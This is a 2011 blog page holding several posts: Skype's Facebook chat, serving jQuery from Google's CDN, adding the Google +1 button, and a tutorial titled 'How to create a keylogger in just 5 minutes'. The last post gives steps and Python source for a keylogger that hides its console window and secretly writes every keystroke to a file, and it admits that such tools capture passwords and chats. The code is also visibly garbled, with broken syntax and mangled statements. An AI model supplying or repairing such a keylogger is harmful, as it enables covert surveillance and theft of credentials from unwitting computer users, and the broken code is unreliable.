This is default featured slide 1 title

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.

This is default featured slide 2 title

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.

This is default featured slide 3 title

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.

This is default featured slide 4 title

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.

This is default featured slide 5 title

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.

Sunday, June 26, 2011

Microsoft way of saying "Fuck you Linux and Mac".

In October 2010, Skype debuted new Windows software with deep Facebook integration, adding the ability to use the client to monitor your Facebook news feed and post, like or comment on status updates straight from your desktop.
Recently, the company (which has been acquired by Microsoft in the meantime)released Skype for Windows 5.5 Beta, which now also lets you have instant messaging conversations with Facebook friends directly from the desktop client.
Aside from support for Facebook Chat, the client also comes with a dedicated contacts tab that filters your Skype contact list down to just your Facebook friends.
Other enhancements include a new ‘Call Control’ toolbar, improvements to the saving of a phone number in the “Call Phones” section and a number of UI changes.
Skype says the final version of the client will be released ‘soon’.
Skype image
Website:skype.com
Location:Luxembourg City, Luxembourg
Founded:August 1, 2003
Acquired:May 10, 2011 by Microsoft for $8.5B in Cash
Skype is a peer-to-peer Internet telephony service that is free for Skype-to-Skype calls. The service also allows Skype users to call mobiles and landlines, and vice-versa. Skype has special charge plans for non-Skype-to-Skype calls. 

Facebook image
Website:facebook.com
Location:Palo Alto, California, United States
Founded:February 1, 2004
Funding:$2.34B
Facebook is the world’s largest social network, with over 500 million users.

Wednesday, June 22, 2011

3 reasons why you should let Google host jQuery for you

All too often, I find code similar to this when inspecting the source for public websites that use jQuery:
<script type="text/javascript" src="/js/jQuery.min.js"></script>
If you’re doing this on a public facing website, you are doing it wrong.
Instead, I urge you to use the Google AJAX Libraries content delivery network to serve jQuery to your users directly from Google’s network of datacenters. Doing so has several advantages over hosting jQuery on your server(s): decreased latency,increased parallelism, and better caching.
In this post, I will expand upon those three benefits of Google’s CDN and show you a couple examples of how you can make use of the service.
Update: Since you’re reading this post, you may also be interested to know that Google also hosts full jQuery UI themes on the AJAX APIs CDN.
If you’ve already read all this and are just here for the link, here it is:

Decreased Latency
A CDN — short for Content Delivery Network — distributes your static content across servers in various, diverse physical locations. When a user’s browser resolves the URL for these files, their download will automatically target the closest available server in the network.
In the case of Google’s AJAX Libraries CDN, what this means is that any users not physically near your server will be able to download jQuery faster than if you force them to download it from your arbitrarily located server.
There are a handful of CDN services comparable to Google’s, but it’s hard to beat the price of free! This benefit alone could decide the issue, but there’s even more.

Increased parallelism

To avoid needlessly overloading servers, browsers limit the number of connections that can be made simultaneously. Depending on which browser, this limit may be as low as two connections per hostname.
Using the Google AJAX Libraries CDN eliminates one request to your site, allowing more of your local content to downloaded in parallel. It doesn’t make a gigantic difference for users with a six concurrent connection browser, but for those still running a browser that only allows two, the difference is noticeable.

Better caching

Potentially the greatest benefit of using the Google AJAX Libraries CDN is that your users may not need to download jQuery at all.
No matter how well optimized your site is, if you’re hosting jQuery locally then your users must download it at least once. Each of your users probably already has dozens of identical copies of jQuery in their browser’s cache, but those copies of jQuery are ignored when they visit your site.
However, when a browser sees references to CDN-hosted copies of jQuery, it understands that all of those references do refer to the exact same file. With all of these CDN references point to exactly the same URLs, the browser can trust that those files truly are identical and won't waste time re-requesting the file if it's already cached. Thus, the browser is able to use a single copy that's cached on-disk, regardless of which site the CDN references appear on.
This creates a potent "cross-site caching" effect which all sites using the CDN benefit from. Since Google's CDN serves the file with headers that attempt tocache the file for up to one year, this effect truly has amazing potential. With many thousands of the most trafficked sites on the Internet already using the Google CDN to serve jQuery, it's quite possible that many of your users will never make a single HTTP request for jQuery when they visit sites using the CDN.
Even if someone visits hundreds of sites using the same Google hosted version of jQuery, they will only need download it once!

Implementation

By now, you’re probably convinced that the Google AJAX Libraries CDN is the way to go for your public facing sites that use jQuery. So, let me show you how you can put it to use.
Of the two methods available, this option is the one that Google recommends:
The google.load() approach offers the most functionality and performance.
For example:

<script type="text/javascript">
  // You may specify partial version numbers, such as "1" or "1.3",
  //  with the same result. Doing so will automatically load the 
  //  latest version matching that partial revision pattern 
  //  (e.g. 1.3 would load 1.3.2 today and 1 would load 1.6.1).
  google.load("jquery", "1.6.1");
 
  google.setOnLoadCallback(function() {
    // Place init code here instead of $(document).ready()
  });
script>
While there’s nothing wrong with this, and it is definitely an improvement over hosting jQuery locally, I don’t agree that it offers the best performance.
Firebug image of the longer loading time caused by jsapi
As you can see, loading, parsing, and executing jsapi delays the actual jQuery request. Not usually by a very large amount, but it’s an unnecessary delay. Tenths of a second may not seem significant, but they add up very quickly.
Worse, you cannot reliably use a $(document).ready() handler in conjunction with this load method. The setOnLoadCallback() handler is a requirement.

Back to basics

In the face of those drawbacks to the google.load() method, I’d suggest using a good ‘ol fashioned <script type="text/javascript"> $(document).ready(function() { // This is more like it! }); script>
Not only does this method avoid the jsapi delay, but it also eliminates three unnecessary HTTP requests. I prefer and recommend this method.
If you're curious why the script reference is missing the leading http:, that's a helpful trick which allows you to use a single reference that works on both HTTP and HTTPS pages. For more information about that and why it matters, be sure to check out this follow-up post: Cripple the Google CDN’s caching with a single character.

Conclusion

The opportunity to let the pros handle part of your site’s JavaScript footprint free of charge is too good to pass up. As often as even returning users experience the “empty cache” load time of your site, it’s important to take advantage of an easy optimization like this one.
What do you think? Are you using the Google AJAX Libraries CDN on your sites? Can you think of a scenario where the google.load() method would perform better than simple

Sunday, June 19, 2011

How to Add goOgle "+1" button to your website

On 1st June 2011 goOgle rolled out +1 Button for Websites so that you viewers can +1 their articles right from the page and their connections would be able to see their recommendation on the search page.
All you need to do to add “+1 button” to your website is to insert just two lines of code. (Yeah! Its that simple!)
Place this line of code in your head section or just before you  close the body tag:
<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
then place this code where you want your “+1 button” to appear on page.
The URL to +1 is determined by one of the three things given below (and in given order):
"<g:plusone></g:plusone>"
1) The href attribute  defined in the <g:plusone> tag
E.g.:
<g:plusone href="http://psychocoding.blogspot.com/"></g:plusone>;
2) rel attribute of <link> tag
If href attribute of plusone tag has not been set then goOgle looks for the href attribute in the link tag and rel attribute’s value.
E.g.:
<link rel="canonical" href="http://psychocoding.blogspot.com/" />
3) URL of the page
If both the above values are not specified then goOgle looks for the URL of the page as defined in document.location.href i.e the URL as found in DOM.
Note: If you want to configure this in WordPress you can use the function get_permalink();to echo the url of your post.
E.g.
<g:plusone href="<?php echo get_permalink();  ?>
"></plusone>
or you can make use of the canonical URL defined by wordpress in the head section of your every post.
This is just the basic stuff If you want to customize your +1 button to more extent you can goto through this page and learn about changing the size of button or showing or hiding the count of your button etc.
By default <g:plusone></plusone> will render as:
<g:plusone size="standard" count="true"></g:plusone>
The size attribute can take values: small, medium, standard, tall
and count attribute can take values: true, false
Thats all about Adding and customizing goOgle +1 button on your website/blog.


Note : This article is originally posted by Snehil Khanor [a] http://blog.snehilkhanor.com/category/technology/google/

Friday, June 10, 2011

How to create a keylogger in just 5 minutes

As we all surely know, a keylogger is a program that can intercept everything the user types on the keyboard of your computer. And I suppose you know so well, precisely for this characteristic, the keylogger is software that does not always lend itself to use proper legal, so much so that now almost all have antivirus features to recognize the presence of a keylogger active in the background.




So the installation of a keylogger on acomputer without the knowledge of the rightful owner, is configured as a real crime of violation of privacy: the intercepted data (chat sessions, usernames and passwords, email, ...) in fact are usually saved to a log file that the owner of the keylogger retrieve it later or even the are automatically sent via email.

This post is for Educational purposes only, we will see how we can create a simple keylogger fully function, using thePython. Here are the steps to follow: 


  1. Download and install the necessary software: 
  2. From the Start menu, select "Python 2.6> PythonWin" to start the editor
  3. From the menu select "File> New", then choose the "Python Script" and give "OK"
  4. Paste the following source (attention to indentation) 

    import WIN32API 
     import win32console 
     import win32gui 
    
     import pythoncom, pyHook 
    
     win32console.GetConsoleWindow win = () 
     win32gui.ShowWindow (win, 0) 
    
     final OnKeyboardEvent (event): 
       if event.Ascii == 5: 
         _exit (1) 
    
      if event.Ascii! = 0 or 8: 
        f = open ( 'c: \ output.txt', 'r') 
        buffer = f.read () 
        f.close () 
        f = open ( 'c: \ output.txt', 'w') 
        keylogs = chr (event.Ascii) 
        if event.Ascii == 13: 
          keylogs = '/ n' 
        buffer + = keylogs 
        f.write (buffer) 
        f.close () 
    
     hm = pyHook.HookManager () 
     hm.KeyDown = OnKeyboardEvent 
     hm.HookKeyboard () 
     pythoncom.PumpMessages () 
  5. Save the file in c: \ as "logger.py," then by PythonWin type CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard.